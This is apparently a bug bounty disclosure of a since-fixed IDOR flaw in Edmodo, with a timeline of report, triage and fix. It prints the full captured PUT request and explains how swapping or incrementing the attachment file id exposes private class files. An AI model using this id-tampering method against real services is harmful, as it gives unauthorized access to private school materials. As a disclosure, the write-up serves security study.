Edmodo — IDOR to view private files of any class

TL;DR A PUT request to editing post endpoint involved file-id parameter,changing that parameter would link that file to my post

What is Edmodo ?

  • Platform to connect teachers-students-parents . Kind of social networking for learning.


  • Edmodo is having a functionality called classes
  • A teacher can create a class and invite students to join the class
  • Teachers generally upload their notes/assignments/files etc inside a class
  • Classes are private & only those students who are having an invitation can access the content posted inside that class
  • With this bug, I was able to access the private attachments of any class without being a member of it

Proof Of Concept

1. From a teacher’s edmodo account,go to your class and capture the request for editing a post (The post should have an attachment)

2. The captured request will be like this :

PUT /messages/693960217?access_token=xyz&request_origin=react-web-app HTTP/1.1
Host: api.edmodo.com
Connection: close
Content-Length: 180
Accept: application/json
Origin: https://new.edmodo.com
User-Agent: Mozilla/5.0
Content-Type: application/json
Referer: https://new.edmodo.com/groups/my-class-1234
Accept-Language: en-US,en;q=0.9
{“content”:{“id”:693960217,”text”:”Final notes”,”attachments”:{“files”:[{“id”:910143311}],”links”:[],”embeds”:[]}},”id”:693960217,”url”:”https://api.edmodo.com/messages/693960217"}

3. It is taking “files”:[{“id”:910143311}] parameter and attaching it in your post.

4. An attacker can change that id to any number and that file will be linked to his post

5. As a result,an attacker can view every single attachment posted in any private class/groups just by incrementing/decrementing that id

Video POC

Mar. 17, 2019 — Initial Report
Mar. 18, 2019 — Report Triaged
Mar. 25, 2019 — Bug Fixed and Swag Awarded